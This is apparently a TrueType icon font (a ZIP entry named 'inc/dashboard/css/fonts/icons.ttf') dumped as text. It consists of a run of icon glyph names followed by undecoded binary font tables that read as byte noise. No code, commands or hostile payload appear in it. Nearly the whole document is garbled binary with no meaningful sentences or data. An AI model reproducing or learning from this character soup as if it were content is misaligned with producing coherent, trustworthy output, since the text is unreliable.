chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     N\\DŬ  !  inc/dashboard/css/fonts/icons.ttfnu [               PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
